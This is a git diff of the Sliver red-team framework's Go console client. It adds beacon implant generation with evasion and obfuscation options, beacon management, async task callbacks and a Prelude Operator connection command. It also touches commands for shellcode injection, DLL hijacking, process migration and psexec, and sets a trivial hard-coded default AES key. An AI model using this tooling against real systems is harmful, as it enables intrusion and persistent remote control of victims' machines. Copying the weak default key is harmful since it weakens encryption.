@@ -550,6 +675,9 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Bool("T", "token", false, "execute command with current token (windows only)")
f.Bool("s", "silent", false, "don't print the command output")
f.Bool("X", "loot", false, "save output as loot")
f.Bool("S", "ignore-stderr", false, "don't print STDERR output")
f.String("o", "stdout", "", "remote path to redirect STDOUT to")
f.String("e", "stderr", "", "remote path to redirect STDERR to")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -789,13 +917,13 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("N", "name", "", "agent name")
f.Bool("d", "debug", false, "enable debug features")
f.Bool("e", "evasion", false, "enable evasion features")
f.Bool("b", "skip-symbols", false, "skip symbol obfuscation")
f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
f.String("c", "canary", "", "canary domain(s)")
f.String("m", "mtls", "", "mtls connection strings")
f.String("g", "wg", "", "wg connection strings")
f.String("H", "http", "", "http(s) connection strings")
f.String("b", "http", "", "http(s) connection strings")
f.String("n", "dns", "", "dns connection strings")
f.String("p", "named-pipe", "", "named-pipe connection strings")
f.String("i", "tcp-pivot", "", "tcp-pivot connection strings")
@@ -804,7 +932,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
f.Int("P", "poll", generate.DefaultPoll, "attempt to poll every n second(s)")
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
f.String("w", "limit-datetime", "", "limit execution to before datetime")
@@ -814,7 +942,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
f.String("s", "save", "", "directory/file to the binary to")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
@@ -827,6 +954,59 @@ func BindCommands(con *console.SliverConsoleClient) {
},
HelpGroup: consts.GenericHelpGroup,
}
generateCmd.AddCommand(&grumble.Command{
Name: consts.BeaconStr,
Help: "Generate a beacon binary",
LongHelp: help.GetHelpFor([]string{consts.GenerateStr, consts.BeaconStr}),
Flags: func(f *grumble.Flags) {
f.Int64("D", "days", 0, "beacon interval days")
f.Int64("H", "hours", 0, "beacon interval hours")
f.Int64("M", "minutes", 15, "beacon interval minutes")
f.Int64("S", "seconds", 0, "beacon interval seconds")
f.Int64("J", "jitter", 30, "beacon interval jitter in seconds")
// Generate flags
f.String("o", "os", "windows", "operating system")
f.String("a", "arch", "amd64", "cpu architecture")
f.String("N", "name", "", "agent name")
f.Bool("d", "debug", false, "enable debug features")
f.Bool("e", "evasion", false, "enable evasion features")
f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
f.String("c", "canary", "", "canary domain(s)")
f.String("m", "mtls", "", "mtls connection strings")
f.String("g", "wg", "", "wg connection strings")
f.String("b", "http", "", "http(s) connection strings")
f.String("n", "dns", "", "dns connection strings")
f.String("p", "named-pipe", "", "named-pipe connection strings")
f.String("i", "tcp-pivot", "", "tcp-pivot connection strings")
f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
f.String("w", "limit-datetime", "", "limit execution to before datetime")
f.Bool("x", "limit-domainjoined", false, "limit execution to domain joined machines")
f.String("y", "limit-username", "", "limit execution to specified username")
f.String("z", "limit-hostname", "", "limit execution to specified hostname")
f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
f.String("s", "save", "", "directory/file to the binary to")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
generate.GenerateBeaconCmd(ctx, con)
con.Println()
return nil
},
})
generateCmd.AddCommand(&grumble.Command{
Name: consts.StagerStr,
Help: "Generate a implant stager using MSF",
@@ -946,7 +1126,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
f.Int("P", "poll", generate.DefaultPoll, "attempt to poll every n second(s)")
f.Int("P", "poll", generate.DefaultPollTimeout, "attempt to poll every n second(s)")
f.String("w", "limit-datetime", "", "limit execution to before datetime")
f.Bool("x", "limit-domainjoined", false, "limit execution to domain joined machines")
@@ -1024,9 +1204,9 @@ func BindCommands(con *console.SliverConsoleClient) {
con.App.AddCommand(implantBuildsCmd)
con.App.AddCommand(&grumble.Command{
Name: consts.ListCanariesStr,
Name: consts.CanariesStr,
Help: "List previously generated canaries",
LongHelp: help.GetHelpFor([]string{consts.ListCanariesStr}),
LongHelp: help.GetHelpFor([]string{consts.CanariesStr}),
Flags: func(f *grumble.Flags) {
f.Bool("b", "burned", false, "show only triggered/burned canaries")
@@ -1049,6 +1229,9 @@ func BindCommands(con *console.SliverConsoleClient) {
LongHelp: help.GetHelpFor([]string{consts.LsStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("r", "reverse", false, "reverse sort order")
f.Bool("m", "modified", false, "sort by modified time")
f.Bool("s", "size", false, "sort by size")
},
Args: func(a *grumble.Args) {
a.String("path", "path to enumerate", grumble.Default("."))
@@ -1538,6 +1721,40 @@ func BindCommands(con *console.SliverConsoleClient) {
},
})
// [ Beacons ] ---------------------------------------------
beaconsCmd := &grumble.Command{
Name: consts.BeaconsStr,
Help: "Manage beacons",
LongHelp: help.GetHelpFor([]string{consts.BeaconsStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
HelpGroup: consts.SliverWinHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
beacons.BeaconsCmd(ctx, con)
con.Println()
return nil
},
}
beaconsCmd.AddCommand(&grumble.Command{
Name: consts.RmStr,
Help: "Remove a beacon",
LongHelp: help.GetHelpFor([]string{consts.BeaconsStr, consts.RmStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
HelpGroup: consts.SliverWinHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
beacons.BeaconsRmCmd(ctx, con)
con.Println()
return nil
},
})
con.App.AddCommand(beaconsCmd)
// [ Macros ] ---------------------------------------------
con.App.AddCommand(&grumble.Command{
@@ -2338,4 +2555,39 @@ func BindCommands(con *console.SliverConsoleClient) {
},
})
con.App.AddCommand(extensionCmd)
// [ Prelude's Operator ] ------------------------------------------------------------
operatorCmd := &grumble.Command{
Name: consts.PreludeOperatorStr,
Help: "Manage connection to Prelude's Operator",
LongHelp: help.GetHelpFor([]string{consts.PreludeOperatorStr}),
HelpGroup: consts.GenericHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
operator.OperatorCmd(ctx, con)
con.Println()
return nil
},
}
operatorCmd.AddCommand(&grumble.Command{
Name: consts.ConnectStr,
Help: "Connect with Prelude's Operator",
LongHelp: help.GetHelpFor([]string{consts.PreludeOperatorStr, consts.ConnectStr}),
HelpGroup: consts.GenericHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
operator.ConnectCmd(ctx, con)
con.Println()
return nil
},
Args: func(a *grumble.Args) {
a.String("connection-string", "connection string to the Operator Host")
},
Flags: func(f *grumble.Flags) {
f.Bool("s", "skip-existing", false, "Do not add existing sessions as Operator Agents")
f.String("a", "aes-key", "abcdefghijklmnopqrstuvwxyz012345", "AES key for communication encryption")
f.String("r", "range", "sliver", "Agents range")
},
})
con.App.AddCommand(operatorCmd)
}
+4 -4
View File
@@ -24,7 +24,7 @@ import (
"io/ioutil"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
@@ -39,7 +39,7 @@ func DllHijackCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
targetDLLData []byte
err error
)
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -78,12 +78,12 @@ func DllHijackCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ctrl := make(chan bool)
msg := fmt.Sprintf("Crafting and planting DLL at %s ...", targetPath)
con.SpinUntil(msg, ctrl)
_, err = con.Rpc.HijackDLL(context.Background(), &sliverpb.DllHijackReq{
_, err = con.Rpc.HijackDLL(context.Background(), &clientpb.DllHijackReq{
ReferenceDLLPath: referencePath,
TargetLocation: targetPath,
ReferenceDLL: localRefData,
TargetDLL: targetDLLData,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
ProfileName: profileName,
})
ctrl <- true
+26 -4
View File
@@ -22,28 +22,50 @@ import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// EnvGetCmd - Get a remote environment variable
func EnvGetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.Get()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
name := ctx.Args.String("name")
envInfo, err := con.Rpc.GetEnv(context.Background(), &sliverpb.EnvReq{
Name: name,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if envInfo.Response != nil && envInfo.Response.Async {
con.AddBeaconCallback(envInfo.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, envInfo)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintGetEnvInfo(envInfo, con)
})
con.PrintAsyncResponse(envInfo.Response)
} else {
PrintGetEnvInfo(envInfo, con)
}
}
// PrintGetEnvInfo - Print the results of the env get command
func PrintGetEnvInfo(envInfo *sliverpb.EnvInfo, con *console.SliverConsoleClient) {
if envInfo.Response != nil && envInfo.Response.Err != "" {
con.PrintErrorf("%s\n", envInfo.Response.Err)
return
}
for _, envVar := range envInfo.Variables {
con.Printf("%s=%s\n", envVar.Key, envVar.Value)
}
+24 -3
View File
@@ -22,15 +22,17 @@ import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// EnvSetCmd - Set a remote environment variable
func EnvSetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.Get()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
@@ -46,12 +48,31 @@ func EnvSetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Key: name,
Value: value,
},
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if envInfo.Response != nil && envInfo.Response.Async {
con.AddBeaconCallback(envInfo.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, envInfo)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintSetEnvInfo(name, value, envInfo, con)
})
con.PrintAsyncResponse(envInfo.Response)
} else {
PrintSetEnvInfo(name, value, envInfo, con)
}
}
// PrintSetEnvInfo - Print the set environment info
func PrintSetEnvInfo(name string, value string, envInfo *sliverpb.SetEnv, con *console.SliverConsoleClient) {
if envInfo.Response != nil && envInfo.Response.Err != "" {
con.PrintErrorf("%s\n", envInfo.Response.Err)
return
+25 -5
View File
@@ -22,14 +22,16 @@ import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// EnvUnsetCmd - Unset a remote environment variable
func EnvUnsetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.Get()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
@@ -41,16 +43,34 @@ func EnvUnsetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
unsetResp, err := con.Rpc.UnsetEnv(context.Background(), &sliverpb.UnsetEnvReq{
Name: name,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if unsetResp.Response != nil && unsetResp.Response.Async {
con.AddBeaconCallback(unsetResp.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, unsetResp)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintUnsetEnvInfo(name, unsetResp, con)
})
con.PrintAsyncResponse(unsetResp.Response)
} else {
PrintUnsetEnvInfo(name, unsetResp, con)
}
if unsetResp.Response != nil && unsetResp.Response.Err != "" {
con.PrintErrorf("%s\n", unsetResp.Response.Err)
}
// PrintUnsetEnvInfo - Print the set environment info
func PrintUnsetEnvInfo(name string, envInfo *sliverpb.UnsetEnv, con *console.SliverConsoleClient) {
if envInfo.Response != nil && envInfo.Response.Err != "" {
con.PrintErrorf("%s\n", envInfo.Response.Err)
return
}
con.PrintInfof("Successfully unset %s\n", name)
+2 -2
View File
@@ -32,7 +32,7 @@ import (
// ExecuteAssemblyCmd - Execute a .NET assembly in-memory
func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -60,7 +60,7 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
ctrl := make(chan bool)
con.SpinUntil("Executing assembly ...", ctrl)
executeAssembly, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
IsDLL: isDLL,
Process: process,
Arguments: strings.Join(assemblyArgs, " "),
+5 -5
View File
@@ -37,7 +37,7 @@ import (
// ExecuteShellcodeCmd - Execute shellcode in-memory
func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -65,7 +65,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
Data: shellcodeBin,
RWXPages: ctx.Flags.Bool("rwx-pages"),
Pid: uint32(pid),
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
ctrl <- true
<-ctrl
@@ -82,7 +82,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte, rwxPages bool, con *console.SliverConsoleClient) {
// Check active session
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -104,7 +104,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
tunnel := core.Tunnels.Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Path: hostProc,
EnablePTY: !noPty,
TunnelID: tunnel.ID,
@@ -121,7 +121,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
msg := fmt.Sprintf("Sending shellcode to %s ...", session.GetName())
con.SpinUntil(msg, ctrl)
_, err = con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Pid: pid,
Data: shellcode,
RWXPages: rwxPages,
+29 -9
View File
@@ -28,7 +28,7 @@ import (
// ExecuteCmd - Run a command on the remote system
func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -36,38 +36,58 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
cmdPath := ctx.Args.String("command")
args := ctx.Args.StringList("arguments")
output := ctx.Flags.Bool("silent")
ignoreStderr := ctx.Flags.Bool("ignore-stderr")
stdout := ctx.Flags.String("stdout")
stderr := ctx.Flags.String("stderr")
token := ctx.Flags.Bool("token")
var exec *sliverpb.Execute
var err error
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Executing %s %s ...", cmdPath, strings.Join(args, " ")), ctrl)
if token {
exec, err = con.Rpc.ExecuteToken(context.Background(), &sliverpb.ExecuteTokenReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Path: cmdPath,
Args: args,
Output: !output,
Stderr: stderr,
Stdout: stdout,
})
} else {
exec, err = con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Path: cmdPath,
Args: args,
Output: !output,
Stderr: stderr,
Stdout: stdout,
})
}
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s", err)
} else if !output {
combined := ""
if stdout == "" {
combined = exec.Stdout
con.PrintInfof("Output:\n%s", exec.Stdout)
} else {
con.PrintInfof("StdOut saved at %s\n", stdout)
}
if !ignoreStderr && stderr == "" {
combined = fmt.Sprintf("%s\nStdErr:\n%s", combined, exec.Stderr)
con.PrintInfof("StdErr:\n%s", exec.Stderr)
} else {
con.PrintInfof("Stderr saved at %s\n", stderr)
}
if exec.Status != 0 {
con.PrintErrorf("Exited with status %d!\n", exec.Status)
if exec.Result != "" {
con.PrintInfof("Output:\n%s\n", exec.Result)
}
} else {
con.PrintInfof("Output:\n%s\n", exec.Result)
if ctx.Flags.Bool("loot") && 0 < len(exec.Result) {
if ctx.Flags.Bool("loot") && 0 < len(combined) {
name := fmt.Sprintf("[exec] %s %s", cmdPath, strings.Join(args, " "))
err = loot.AddLootFile(con.Rpc, name, "console.txt", []byte(exec.Result), false)
err = loot.AddLootFile(con.Rpc, name, "console.txt", []byte(combined), false)
if err != nil {
con.PrintErrorf("Failed to save output as loot: %s\n", err)
} else {
+2 -2
View File
@@ -26,7 +26,7 @@ import (
// MigrateCmd - Windows only, inject an implant into another process
func MigrateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.Get()
session := con.ActiveTarget.GetSession()
if session == nil {
return
}
@@ -38,7 +38,7 @@ func MigrateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
migrate, err := con.Rpc.Migrate(context.Background(), &clientpb.MigrateReq{
Pid: uint32(pid),
Config: config,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
ctrl <- true
<-ctrl
+2 -2
View File
@@ -31,7 +31,7 @@ import (
// MsfInjectCmd - Inject a metasploit payload into a remote process
func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -58,7 +58,7 @@ func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
payloadName, session.OS, session.Arch, lhost, lport)
con.SpinUntil(msg, ctrl)
_, err := con.Rpc.MsfRemote(context.Background(), &clientpb.MSFRemoteReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Payload: payloadName,
LHost: lhost,
LPort: uint32(lport),
+2 -2
View File
@@ -31,7 +31,7 @@ import (
// MsfCmd - Inject a metasploit payload into the current remote process
func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -52,7 +52,7 @@ func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
payloadName, session.OS, session.Arch, lhost, lport)
con.SpinUntil(msg, ctrl)
_, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Payload: payloadName,
LHost: lhost,
LPort: uint32(lport),
+6 -5
View File
@@ -26,6 +26,7 @@ import (
"time"
"github.com/bishopfox/sliver/client/command/generate"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
@@ -36,7 +37,7 @@ import (
// PsExecCmd - psexec command implementation.
func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -55,7 +56,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if serviceName == "Sliver" || serviceDesc == "Sliver implant" {
con.PrintWarnf("Warning: You're going to deploy the following service:\n- Name: %s\n- Description: %s\n", serviceName, serviceDesc)
con.PrintWarnf("You might want to change that before going further...\n")
if !con.IsUserAnAdult() {
if !settings.IsUserAnAdult(con) {
return
}
}
@@ -96,7 +97,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Encoder: "gzip",
Data: uploadGzip,
Path: filePath,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
uploadCtrl <- true
<-uploadCtrl
@@ -119,7 +120,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
start, err := con.Rpc.StartService(context.Background(), &sliverpb.StartServiceReq{
BinPath: binaryPath,
Hostname: hostname,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
ServiceDescription: serviceDesc,
ServiceName: serviceName,
Arguments: "",
@@ -142,7 +143,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Hostname: hostname,
ServiceName: serviceName,
},
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
removeChan <- true
<-removeChan
+2 -2
View File
@@ -31,7 +31,7 @@ import (
// SideloadCmd - Sideload a shared library on the remote system
func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.Get()
session := con.ActiveTarget.GetSession()
if session == nil {
return
}
@@ -51,7 +51,7 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Sideloading %s ...", binPath), ctrl)
sideload, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Args: args,
Data: binData,
EntryPoint: entryPoint,
+2 -2
View File
@@ -15,7 +15,7 @@ import (
// SpawnDllCmd - Spawn execution of a DLL on the remote system
func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.Get()
session := con.ActiveTarget.GetSession()
if session == nil {
return
}
@@ -36,7 +36,7 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ProcessName: processName,
Args: dllArgs,
EntryPoint: exportName,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Kill: !ctx.Flags.Bool("keep-alive"),
})
+2 -2
View File
@@ -19,7 +19,7 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
privKey []byte
err error
)
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -58,7 +58,7 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
PrivKey: privKey,
Password: password,
Command: strings.Join(command, " "),
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
+9 -11
View File
@@ -59,9 +59,9 @@ func (e *extensionCommand) getFileForTarget(cmdName string, targetOS string, tar
for _, ef := range e.Files {
if targetOS == ef.OS {
switch targetArch {
case "x86":
case "386":
filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext32Path)
case "x64":
case "amd64":
filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext64Path)
default:
filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext64Path)
@@ -78,7 +78,6 @@ func LoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
dirPath := ctx.Args.String("dir-path")
extCmds, err := ParseExtensions(dirPath)
if err != nil {
con.PrintErrorf("Error: %s\n", err)
return
}
@@ -159,13 +158,13 @@ func RegisterExtensionCommand(extCmd *extensionCommand, con *console.SliverConso
}
func ListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("Error: %s", err)
@@ -193,7 +192,7 @@ func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console
// Try to find the extension in the loaded extensions
if len(session.Extensions) == 0 {
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("Error: %s\n", err.Error())
@@ -256,7 +255,7 @@ func registerExtension(con *console.SliverConsoleClient, ext *extensionCommand,
Data: binData,
OS: session.OS,
Init: ext.Init,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
return err
@@ -291,7 +290,7 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
extName string
entryPoint string
)
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -303,7 +302,6 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
if err = loadExtension(ctx, session, con, &ext); err != nil {
con.PrintErrorf("Error: %s\n", err)
return
}
@@ -325,7 +323,7 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
isBOF := filepath.Ext(binPath) == ".o"
// BOFs (Beacon Object Files) are a specific kind of extensions
// than require another extension (a COFF loader) to be present.
// that require another extension (a COFF loader) to be present.
// BOFs also have strongly typed arguments that need to be parsed in the proper way.
// This block will pack both the BOF data and its arguments into a single buffer that
// the loader will extract and load.
@@ -352,7 +350,7 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Name: extName,
Export: entryPoint,
Args: extensionArgs,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
ctrl <- true
<-ctrl
+28 -11
View File
@@ -28,16 +28,18 @@ import (
"github.com/alecthomas/chroma/lexers"
"github.com/alecthomas/chroma/styles"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// CatCmd - Display the contents of a remote file
func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
@@ -48,13 +50,36 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Path: filePath,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if download.Response != nil && download.Response.Async {
con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, download)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintCat(download, ctx, con)
})
con.PrintAsyncResponse(download.Response)
} else {
PrintCat(download, ctx, con)
}
}
// PrintCat - Print the download to stdout
func PrintCat(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
if download.Response != nil && download.Response.Err != "" {
con.PrintErrorf("%s\n", download.Response.Err)
return
}
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
@@ -73,14 +98,6 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
